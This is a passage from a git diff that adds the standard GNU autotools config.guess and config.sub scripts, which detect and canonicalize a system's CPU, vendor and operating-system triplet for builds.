'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` + FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'` + echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" + exit ;; + 5000:UNIX_System_V:4.*:*) + FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` + FUJITSU_REL=`echo ${UNAME_RELEASE} | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/ /_/'` + echo "sparc-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" + exit ;; + i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*) + echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE} + exit ;; + sparc*:BSD/OS:*:*) + echo sparc-unknown-bsdi${UNAME_RELEASE} + exit ;; + *:BSD/OS:*:*) + echo ${UNAME_MACHINE}-unknown-bsdi${UNAME_RELEASE} + exit ;; + *:FreeBSD:*:*) + echo ${UNAME_MACHINE}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` + exit ;; + i*:CYGWIN*:*) + echo ${UNAME_MACHINE}-pc-cygwin + exit ;; + i*:MINGW*:*) + echo ${UNAME_MACHINE}-pc-mingw32 + exit ;; + i*:windows32*:*) + # uname -m includes "-pc" on this system. + echo ${UNAME_MACHINE}-mingw32 + exit ;; + i*:PW*:*) + echo ${UNAME_MACHINE}-pc-pw32 + exit ;; + x86:Interix*:[345]*) + echo i586-pc-interix${UNAME_RELEASE}|sed -e 's/\..*//' + exit ;; + [345]86:Windows_95:* | [345]86:Windows_98:* | [345]86:Windows_NT:*) + echo i${UNAME_MACHINE}-pc-mks + exit ;; + i*:Windows_NT*:* | Pentium*:Windows_NT*:*) + # How do we know it's Interix rather than the generic POSIX subsystem? + # It also conflicts with pre-2.0 versions of AT&T UWIN. Should we + # UNAME_MACHINE based on the output of uname instead of i386? + echo i586-pc-interix + exit ;; + i*:UWIN*:*) + echo ${UNAME_MACHINE}-pc-uwin + exit ;; + amd64:CYGWIN*:*:* | x86_64:CYGWIN*:*:*) + echo x86_64-unknown-cygwin + exit ;; + p*:CYGWIN*:*) + echo powerpcle-unknown-cygwin + exit ;; + prep*:SunOS:5.*:*) + echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit ;; + *:GNU:*:*) + # the GNU system + echo `echo ${UNAME_MACHINE}|sed -e 's,[-/].*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'` + exit ;; + *:GNU/*:*:*) + # other systems with GNU libc and userland + echo ${UNAME_MACHINE}-unknown-`echo ${UNAME_SYSTEM} | sed 's,^[^/]*/,,' | tr '[A-Z]' '[a-z]'``echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`-gnu + exit ;; + i*86:Minix:*:*) + echo ${UNAME_MACHINE}-pc-minix + exit ;; + arm*:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit ;; + cris:Linux:*:*) + echo cris-axis-linux-gnu + exit ;; + crisv32:Linux:*:*) + echo crisv32-axis-linux-gnu + exit ;; + frv:Linux:*:*) + echo frv-unknown-linux-gnu + exit ;; + ia64:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit ;; + m32r*:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit ;; + m68*:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit ;; + mips:Linux:*:*) + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + #undef CPU + #undef mips + #undef mipsel + #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) + CPU=mipsel + #else + #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) + CPU=mips + #else + CPU= + #endif + #endif +EOF + eval "`$CC_FOR_BUILD -E $dummy.c 2>/dev/null | sed -n '/^CPU/{s: ::g;p;}'`" + test x"${CPU}" != x && { echo "${CPU}-unknown-linux-gnu"; exit; } + ;; + mips64:Linux:*:*) + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + #undef CPU + #undef mips64 + #undef mips64el + #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) + CPU=mips64el + #else + #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) + CPU=mips64 + #else + CPU= + #endif + #endif +EOF + eval "`$CC_FOR_BUILD -E $dummy.c 2>/dev/null | sed -n '/^CPU/{s: ::g;p;}'`" + test x"${CPU}" != x && { echo "${CPU}-unknown-linux-gnu"; exit; } + ;; + or32:Linux:*:*) + echo or32-unknown-linux-gnu + exit ;; + ppc:Linux:*:*) + echo powerpc-unknown-linux-gnu + exit ;; + ppc64:Linux:*:*) + echo powerpc64-unknown-linux-gnu + exit ;; + alpha:Linux:*:*) + case `sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' < /proc/cpuinfo` in + EV5) UNAME_MACHINE=alphaev5 ;; + EV56) UNAME_MACHINE=alphaev56 ;; + PCA56) UNAME_MACHINE=alphapca56 ;; + PCA57) UNAME_MACHINE=alphapca56 ;; + EV6) UNAME_MACHINE=alphaev6 ;; + EV67) UNAME_MACHINE=alphaev67 ;; + EV68*) UNAME_MACHINE=alphaev68 ;; + esac + objdump --private-headers /bin/sh | grep ld.so.1 >/dev/null + if test "$?" = 0 ; then LIBC="libc1" ; else LIBC="" ; fi + echo ${UNAME_MACHINE}-unknown-linux-gnu${LIBC} + exit ;; + parisc:Linux:*:* | hppa:Linux:*:*) + # Look for CPU level + case `grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2` in + PA7*) echo hppa1.1-unknown-linux-gnu ;; + PA8*) echo hppa2.0-unknown-linux-gnu ;; + *) echo hppa-unknown-linux-gnu ;; + esac + exit ;; + parisc64:Linux:*:* | hppa64:Linux:*:*) + echo hppa64-unknown-linux-gnu + exit ;; + s390:Linux:*:* | s390x:Linux:*:*) + echo ${UNAME_MACHINE}-ibm-linux + exit ;; + sh64*:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit ;; + sh*:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit ;; + sparc:Linux:*:* | sparc64:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit ;; + vax:Linux:*:*) + echo ${UNAME_MACHINE}-dec-linux-gnu + exit ;; + x86_64:Linux:*:*) + echo x86_64-unknown-linux-gnu + exit ;; + i*86:Linux:*:*) + # The BFD linker knows what the default object file format is, so + # first see if it will tell us. cd to the root directory to prevent + # problems with other programs or directories called `ld' in the path. + # Set LC_ALL=C to ensure ld outputs messages in English. + ld_supported_targets=`cd /; LC_ALL=C ld --help 2>&1 \ + | sed -ne '/supported targets:/!d + s/[ ][ ]*/ /g + s/.*supported targets: *// + s/ .*// + p'` + case "$ld_supported_targets" in + elf32-i386) + TENTATIVE="${UNAME_MACHINE}-pc-linux-gnu" + ;; + a.out-i386-linux) + echo "${UNAME_MACHINE}-pc-linux-gnuaout" + exit ;; + coff-i386) + echo "${UNAME_MACHINE}-pc-linux-gnucoff" + exit ;; + "") + # Either a pre-BFD a.out linker (linux-gnuoldld) or + # one that does not give us useful --help. + echo "${UNAME_MACHINE}-pc-linux-gnuoldld" + exit ;; + esac + # Determine whether the default compiler is a.out or elf + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + #include + #ifdef __ELF__ + # ifdef __GLIBC__ + # if __GLIBC__ >= 2 + LIBC=gnu + # else + LIBC=gnulibc1 + # endif + # else + LIBC=gnulibc1 + # endif + #else + #if defined(__INTEL_COMPILER) || defined(__PGI) + LIBC=gnu + #else + LIBC=gnuaout + #endif + #endif + #ifdef __dietlibc__ + LIBC=dietlibc + #endif +EOF + eval "`$CC_FOR_BUILD -E $dummy.c 2>/dev/null | sed -n '/^LIBC/{s: ::g;p;}'`" + test x"${LIBC}" != x && { + echo "${UNAME_MACHINE}-pc-linux-${LIBC}" + exit + } + test x"${TENTATIVE}" != x && { echo "${TENTATIVE}"; exit; } + ;; + i*86:DYNIX/ptx:4*:*) + # ptx 4.0 does uname -s correctly, with DYNIX/ptx in there. + # earlier versions are messed up and put the nodename in both + # sysname and nodename. + echo i386-sequent-sysv4 + exit ;; + i*86:UNIX_SV:4.2MP:2.*) + # Unixware is an offshoot of SVR4, but it has its own version + # number series starting with 2... + # I am not positive that other SVR4 systems won't match this, + # I just have to hope. -- rms. + # Use sysv4.2uw... so that sysv4* matches it. + echo ${UNAME_MACHINE}-pc-sysv4.2uw${UNAME_VERSION} + exit ;; + i*86:OS/2:*:*) + # If we were able to find `uname', then EMX Unix compatibility + # is probably installed. + echo ${UNAME_MACHINE}-pc-os2-emx + exit ;; + i*86:XTS-300:*:STOP) + echo ${UNAME_MACHINE}-unknown-stop + exit ;; + i*86:atheos:*:*) + echo ${UNAME_MACHINE}-unknown-atheos + exit ;; + i*86:syllable:*:*) + echo ${UNAME_MACHINE}-pc-syllable + exit ;; + i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.0*:*) + echo i386-unknown-lynxos${UNAME_RELEASE} + exit ;; + i*86:*DOS:*:*) + echo ${UNAME_MACHINE}-pc-msdosdjgpp + exit ;; + i*86:*:4.*:* | i*86:SYSTEM_V:4.*:*) + UNAME_REL=`echo ${UNAME_RELEASE} | sed 's/\/MP$//'` + if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then + echo ${UNAME_MACHINE}-univel-sysv${UNAME_REL} + else + echo ${UNAME_MACHINE}-pc-sysv${UNAME_REL} + fi + exit ;; + i*86:*:5:[678]*) + # UnixWare 7.x, OpenUNIX and OpenServer 6. + case `/bin/uname -X | grep "^Machine"` in + *486*) UNAME_MACHINE=i486 ;; + *Pentium) UNAME_MACHINE=i586 ;; + *Pent*|*Celeron) UNAME_MACHINE=i686 ;; + esac + echo ${UNAME_MACHINE}-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION} + exit ;; + i*86:*:3.2:*) + if test -f /usr/options/cb.name; then + UNAME_REL=`sed -n 's/.*Version //p' /dev/null >/dev/null ; then + UNAME_REL=`(/bin/uname -X|grep Release|sed -e 's/.*= //')` + (/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=i486 + (/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \ + && UNAME_MACHINE=i586 + (/bin/uname -X|grep '^Machine.*Pent *II' >/dev/null) \ + && UNAME_MACHINE=i686 + (/bin/uname -X|grep '^Machine.*Pentium Pro' >/dev/null) \ + && UNAME_MACHINE=i686 + echo ${UNAME_MACHINE}-pc-sco$UNAME_REL + else + echo ${UNAME_MACHINE}-pc-sysv32 + fi + exit ;; + pc:*:*:*) + # Left here for compatibility: + # uname -m prints for DJGPP always 'pc', but it prints nothing about + # the processor, so we play safe by assuming i386. + echo i386-pc-msdosdjgpp + exit ;; + Intel:Mach:3*:*) + echo i386-pc-mach3 + exit ;; + paragon:*:*:*) + echo i860-intel-osf1 + exit ;; + i860:*:4.*:*) # i860-SVR4 + if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then + echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SVR4 + else # Add other i860-SVR4 vendors below as they are discovered. + echo i860-unknown-sysv${UNAME_RELEASE} # Unknown i860-SVR4 + fi + exit ;; + mini*:CTIX:SYS*5:*) + # "miniframe" + echo m68010-convergent-sysv + exit ;; + mc68k:UNIX:SYSTEM5:3.51m) + echo m68k-convergent-sysv + exit ;; + M680?0:D-NIX:5.3:*) + echo m68k-diab-dnix + exit ;; + M68*:*:R3V[5678]*:*) + test -r /sysV68 && { echo 'm68k-motorola-sysv'; exit; } ;; + 3[345]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0 | SDS2:*:4.0:3.0 | SHG2:*:4.0:3.0 | S7501*:*:4.0:3.0) + OS_REL='' + test -r /etc/.relid \ + && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid` + /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ + && { echo i486-ncr-sysv4.3${OS_REL}; exit; } + /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ + && { echo i586-ncr-sysv4.3${OS_REL}; exit; } ;; + 3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*) + /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ + && { echo i486-ncr-sysv4; exit; } ;; + m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*) + echo m68k-unknown-lynxos${UNAME_RELEASE} + exit ;; + mc68030:UNIX_System_V:4.*:*) + echo m68k-atari-sysv4 + exit ;; + TSUNAMI:LynxOS:2.*:*) + echo sparc-unknown-lynxos${UNAME_RELEASE} + exit ;; + rs6000:LynxOS:2.*:*) + echo rs6000-unknown-lynxos${UNAME_RELEASE} + exit ;; + PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.0*:*) + echo powerpc-unknown-lynxos${UNAME_RELEASE} + exit ;; + SM[BE]S:UNIX_SV:*:*) + echo mips-dde-sysv${UNAME_RELEASE} + exit ;; + RM*:ReliantUNIX-*:*:*) + echo mips-sni-sysv4 + exit ;; + RM*:SINIX-*:*:*) + echo mips-sni-sysv4 + exit ;; + *:SINIX-*:*:*) + if uname -p 2>/dev/null >/dev/null ; then + UNAME_MACHINE=`(uname -p) 2>/dev/null` + echo ${UNAME_MACHINE}-sni-sysv4 + else + echo ns32k-sni-sysv + fi + exit ;; + PENTIUM:*:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort + # says + echo i586-unisys-sysv4 + exit ;; + *:UNIX_System_V:4*:FTX*) + # From Gerald Hewes . + # How about differentiating between stratus architectures? -djm + echo hppa1.1-stratus-sysv4 + exit ;; + *:*:*:FTX*) + # From seanf@swdc.stratus.com. + echo i860-stratus-sysv4 + exit ;; + i*86:VOS:*:*) + # From Paul.Green@stratus.com. + echo ${UNAME_MACHINE}-stratus-vos + exit ;; + *:VOS:*:*) + # From Paul.Green@stratus.com. + echo hppa1.1-stratus-vos + exit ;; + mc68*:A/UX:*:*) + echo m68k-apple-aux${UNAME_RELEASE} + exit ;; + news*:NEWS-OS:6*:*) + echo mips-sony-newsos6 + exit ;; + R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*) + if [ -d /usr/nec ]; then + echo mips-nec-sysv${UNAME_RELEASE} + else + echo mips-unknown-sysv${UNAME_RELEASE} + fi + exit ;; + BeBox:BeOS:*:*) # BeOS running on hardware made by Be, PPC only. + echo powerpc-be-beos + exit ;; + BeMac:BeOS:*:*) # BeOS running on Mac or Mac clone, PPC only. + echo powerpc-apple-beos + exit ;; + BePC:BeOS:*:*) # BeOS running on Intel PC compatible. + echo i586-pc-beos + exit ;; + SX-4:SUPER-UX:*:*) + echo sx4-nec-superux${UNAME_RELEASE} + exit ;; + SX-5:SUPER-UX:*:*) + echo sx5-nec-superux${UNAME_RELEASE} + exit ;; + SX-6:SUPER-UX:*:*) + echo sx6-nec-superux${UNAME_RELEASE} + exit ;; + Power*:Rhapsody:*:*) + echo powerpc-apple-rhapsody${UNAME_RELEASE} + exit ;; + *:Rhapsody:*:*) + echo ${UNAME_MACHINE}-apple-rhapsody${UNAME_RELEASE} + exit ;; + *:Darwin:*:*) + UNAME_PROCESSOR=`uname -p` || UNAME_PROCESSOR=unknown + case $UNAME_PROCESSOR in + unknown) UNAME_PROCESSOR=powerpc ;; + esac + echo ${UNAME_PROCESSOR}-apple-darwin${UNAME_RELEASE} + exit ;; + *:procnto*:*:* | *:QNX:[0123456789]*:*) + UNAME_PROCESSOR=`uname -p` + if test "$UNAME_PROCESSOR" = "x86"; then + UNAME_PROCESSOR=i386 + UNAME_MACHINE=pc + fi + echo ${UNAME_PROCESSOR}-${UNAME_MACHINE}-nto-qnx${UNAME_RELEASE} + exit ;; + *:QNX:*:4*) + echo i386-pc-qnx + exit ;; + NSE-?:NONSTOP_KERNEL:*:*) + echo nse-tandem-nsk${UNAME_RELEASE} + exit ;; + NSR-?:NONSTOP_KERNEL:*:*) + echo nsr-tandem-nsk${UNAME_RELEASE} + exit ;; + *:NonStop-UX:*:*) + echo mips-compaq-nonstopux + exit ;; + BS2000:POSIX*:*:*) + echo bs2000-siemens-sysv + exit ;; + DS/*:UNIX_System_V:*:*) + echo ${UNAME_MACHINE}-${UNAME_SYSTEM}-${UNAME_RELEASE} + exit ;; + *:Plan9:*:*) + # "uname -m" is not consistent, so use $cputype instead. 386 + # is converted to i386 for consistency with other x86 + # operating systems. + if test "$cputype" = "386"; then + UNAME_MACHINE=i386 + else + UNAME_MACHINE="$cputype" + fi + echo ${UNAME_MACHINE}-unknown-plan9 + exit ;; + *:TOPS-10:*:*) + echo pdp10-unknown-tops10 + exit ;; + *:TENEX:*:*) + echo pdp10-unknown-tenex + exit ;; + KS10:TOPS-20:*:* | KL10:TOPS-20:*:* | TYPE4:TOPS-20:*:*) + echo pdp10-dec-tops20 + exit ;; + XKL-1:TOPS-20:*:* | TYPE5:TOPS-20:*:*) + echo pdp10-xkl-tops20 + exit ;; + *:TOPS-20:*:*) + echo pdp10-unknown-tops20 + exit ;; + *:ITS:*:*) + echo pdp10-unknown-its + exit ;; + SEI:*:*:SEIUX) + echo mips-sei-seiux${UNAME_RELEASE} + exit ;; + *:DragonFly:*:*) + echo ${UNAME_MACHINE}-unknown-dragonfly`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` + exit ;; + *:*VMS:*:*) + UNAME_MACHINE=`(uname -p) 2>/dev/null` + case "${UNAME_MACHINE}" in + A*) echo alpha-dec-vms ; exit ;; + I*) echo ia64-dec-vms ; exit ;; + V*) echo vax-dec-vms ; exit ;; + esac ;; + *:XENIX:*:SysV) + echo i386-pc-xenix + exit ;; + i*86:skyos:*:*) + echo ${UNAME_MACHINE}-pc-skyos`echo ${UNAME_RELEASE}` | sed -e 's/ .*$//' + exit ;; + i*86:rdos:*:*) + echo ${UNAME_MACHINE}-pc-rdos + exit ;; +esac + +#echo '(No uname command or uname output not recognized.)' 1>&2 +#echo "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" 1>&2 + +eval $set_cc_for_build +cat >$dummy.c < +# include +#endif +main () +{ +#if defined (sony) +#if defined (MIPSEB) + /* BFD wants "bsd" instead of "newsos". Perhaps BFD should be changed, + I don't know.... */ + printf ("mips-sony-bsd\n"); exit (0); +#else +#include + printf ("m68k-sony-newsos%s\n", +#ifdef NEWSOS4 + "4" +#else + "" +#endif + ); exit (0); +#endif +#endif + +#if defined (__arm) && defined (__acorn) && defined (__unix) + printf ("arm-acorn-riscix\n"); exit (0); +#endif + +#if defined (hp300) && !defined (hpux) + printf ("m68k-hp-bsd\n"); exit (0); +#endif + +#if defined (NeXT) +#if !defined (__ARCHITECTURE__) +#define __ARCHITECTURE__ "m68k" +#endif + int version; + version=`(hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null`; + if (version < 4) + printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version); + else + printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version); + exit (0); +#endif + +#if defined (MULTIMAX) || defined (n16) +#if defined (UMAXV) + printf ("ns32k-encore-sysv\n"); exit (0); +#else +#if defined (CMU) + printf ("ns32k-encore-mach\n"); exit (0); +#else + printf ("ns32k-encore-bsd\n"); exit (0); +#endif +#endif +#endif + +#if defined (__386BSD__) + printf ("i386-pc-bsd\n"); exit (0); +#endif + +#if defined (sequent) +#if defined (i386) + printf ("i386-sequent-dynix\n"); exit (0); +#endif +#if defined (ns32000) + printf ("ns32k-sequent-dynix\n"); exit (0); +#endif +#endif + +#if defined (_SEQUENT_) + struct utsname un; + + uname(&un); + + if (strncmp(un.version, "V2", 2) == 0) { + printf ("i386-sequent-ptx2\n"); exit (0); + } + if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */ + printf ("i386-sequent-ptx1\n"); exit (0); + } + printf ("i386-sequent-ptx\n"); exit (0); + +#endif + +#if defined (vax) +# if !defined (ultrix) +# include +# if defined (BSD) +# if BSD == 43 + printf ("vax-dec-bsd4.3\n"); exit (0); +# else +# if BSD == 199006 + printf ("vax-dec-bsd4.3reno\n"); exit (0); +# else + printf ("vax-dec-bsd\n"); exit (0); +# endif +# endif +# else + printf ("vax-dec-bsd\n"); exit (0); +# endif +# else + printf ("vax-dec-ultrix\n"); exit (0); +# endif +#endif + +#if defined (alliant) && defined (i860) + printf ("i860-alliant-bsd\n"); exit (0); +#endif + + exit (1); +} +EOF + +$CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null && SYSTEM_NAME=`$dummy` && + { echo "$SYSTEM_NAME"; exit; } + +# Apollos put the system type in the environment. + +test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit; } + +# Convex versions that predate uname can use getsysinfo(1) + +if [ -x /usr/convex/getsysinfo ] +then + case `getsysinfo -f cpu_type` in + c1*) + echo c1-convex-bsd + exit ;; + c2*) + if getsysinfo -f scalar_acc + then echo c32-convex-bsd + else echo c2-convex-bsd + fi + exit ;; + c34*) + echo c34-convex-bsd + exit ;; + c38*) + echo c38-convex-bsd + exit ;; + c4*) + echo c4-convex-bsd + exit ;; + esac +fi + +cat >&2 < in order to provide the needed +information to handle your system. + +config.guess timestamp = $timestamp + +uname -m = `(uname -m) 2>/dev/null || echo unknown` +uname -r = `(uname -r) 2>/dev/null || echo unknown` +uname -s = `(uname -s) 2>/dev/null || echo unknown` +uname -v = `(uname -v) 2>/dev/null || echo unknown` + +/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null` +/bin/uname -X = `(/bin/uname -X) 2>/dev/null` + +hostinfo = `(hostinfo) 2>/dev/null` +/bin/universe = `(/bin/universe) 2>/dev/null` +/usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null` +/bin/arch = `(/bin/arch) 2>/dev/null` +/usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null` +/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null` + +UNAME_MACHINE = ${UNAME_MACHINE} +UNAME_RELEASE = ${UNAME_RELEASE} +UNAME_SYSTEM = ${UNAME_SYSTEM} +UNAME_VERSION = ${UNAME_VERSION} +EOF + +exit 1 + +# Local variables: +# eval: (add-hook 'write-file-hooks 'time-stamp) +# time-stamp-start: "timestamp='" +# time-stamp-format: "%:y-%02m-%02d" +# time-stamp-end: "'" +# End: diff --git a/autostuff/config.sub b/autostuff/config.sub new file mode 100755 index 0000000..2851647 --- /dev/null +++ b/autostuff/config.sub @@ -0,0 +1,1599 @@ +#! /bin/sh +# Configuration validation subroutine script. +# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, +# 2000, 2001, 2002, 2003, 2004, 2005 Free Software Foundation, Inc. + +timestamp='2005-12-11' + +# This file is (in principle) common to ALL GNU software. +# The presence of a machine in this file suggests that SOME GNU software +# can handle that machine. It does not imply ALL GNU software can. +# +# This file is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA +# 02110-1301, USA. +# +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + + +# Please send patches to . Submit a context +# diff and a properly formatted ChangeLog entry. +# +# Configuration subroutine to validate and canonicalize a configuration type. +# Supply the specified configuration type as an argument. +# If it is invalid, we print an error message on stderr and exit with code 1. +# Otherwise, we print the canonical config type on stdout and succeed. + +# This file is supposed to be the same for all GNU packages +# and recognize all the CPU types, system types and aliases +# that are meaningful with *any* GNU software. +# Each package is responsible for reporting which valid configurations +# it does not support. The user should be able to distinguish +# a failure to support a valid configuration from a meaningless +# configuration. + +# The goal of this file is to map all the various variations of a given +# machine specification into a single specification in the form: +# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM +# or in some cases, the newer four-part form: +# CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM +# It is wrong to echo any other type of specification. + +me=`echo "$0" | sed -e 's,.*/,,'` + +usage="\ +Usage: $0 [OPTION] CPU-MFR-OPSYS + $0 [OPTION] ALIAS + +Canonicalize a configuration name. + +Operation modes: + -h, --help print this help, then exit + -t, --time-stamp print date of last modification, then exit + -v, --version print version number, then exit + +Report bugs and patches to ." + +version="\ +GNU config.sub ($timestamp) + +Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005 +Free Software Foundation, Inc. + +This is free software; see the source for copying conditions. There is NO +warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." + +help=" +Try \`$me --help' for more information." + +# Parse command line +while test $# -gt 0 ; do + case $1 in + --time-stamp | --time* | -t ) + echo "$timestamp" ; exit ;; + --version | -v ) + echo "$version" ; exit ;; + --help | --h* | -h ) + echo "$usage"; exit ;; + -- ) # Stop option processing + shift; break ;; + - ) # Use stdin as input. + break ;; + -* ) + echo "$me: invalid option $1$help" + exit 1 ;; + + *local*) + # First pass through any local machine types. + echo $1 + exit ;; + + * ) + break ;; + esac +done + +case $# in + 0) echo "$me: missing argument$help" >&2 + exit 1;; + 1) ;; + *) echo "$me: too many arguments$help" >&2 + exit 1;; +esac + +# Separate what the user gave into CPU-COMPANY and OS or KERNEL-OS (if any). +# Here we must recognize all the valid KERNEL-OS combinations. +maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'` +case $maybe_os in + nto-qnx* | linux-gnu* | linux-dietlibc | linux-newlib* | linux-uclibc* | \ + uclinux-uclibc* | uclinux-gnu* | kfreebsd*-gnu* | knetbsd*-gnu* | netbsd*-gnu* | \ + storm-chaos* | os2-emx* | rtmk-nova*) + os=-$maybe_os + basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'` + ;; + *) + basic_machine=`echo $1 | sed 's/-[^-]*$//'` + if [ $basic_machine != $1 ] + then os=`echo $1 | sed 's/.*-/-/'` + else os=; fi + ;; +esac + +### Let's recognize common machines as not being operating systems so +### that things like config.sub decstation-3100 work. We also +### recognize some manufacturers as not being operating systems, so we +### can provide default operating systems below. +case $os in + -sun*os*) + # Prevent following clause from handling this invalid input. + ;; + -dec* | -mips* | -sequent* | -encore* | -pc532* | -sgi* | -sony* | \ + -att* | -7300* | -3300* | -delta* | -motorola* | -sun[234]* | \ + -unicom* | -ibm* | -next | -hp | -isi* | -apollo | -altos* | \ + -convergent* | -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |\ + -c[123]* | -convex* | -sun | -crds | -omron* | -dg | -ultra | -tti* | \ + -harris | -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp | \ + -apple | -axis | -knuth | -cray) + os= + basic_machine=$1 + ;; + -sim | -cisco | -oki | -wec | -winbond) + os= + basic_machine=$1 + ;; + -scout) + ;; + -wrs) + os=-vxworks + basic_machine=$1 + ;; + -chorusos*) + os=-chorusos + basic_machine=$1 + ;; + -chorusrdb) + os=-chorusrdb + basic_machine=$1 + ;; + -hiux*) + os=-hiuxwe2 + ;; + -sco6) + os=-sco5v6 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco5) + os=-sco3.2v5 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco4) + os=-sco3.2v4 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco3.2.[4-9]*) + os=`echo $os | sed -e 's/sco3.2./sco3.2v/'` + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco3.2v[4-9]*) + # Don't forget version if it is 3.2v4 or newer. + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco5v6*) + # Don't forget version if it is 3.2v4 or newer. + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco*) + os=-sco3.2v2 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -udk*) + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -isc) + os=-isc2.2 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -clix*) + basic_machine=clipper-intergraph + ;; + -isc*) + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -lynx*) + os=-lynxos + ;; + -ptx*) + basic_machine=`echo $1 | sed -e 's/86-.*/86-sequent/'` + ;; + -windowsnt*) + os=`echo $os | sed -e 's/windowsnt/winnt/'` + ;; + -psos*) + os=-psos + ;; + -mint | 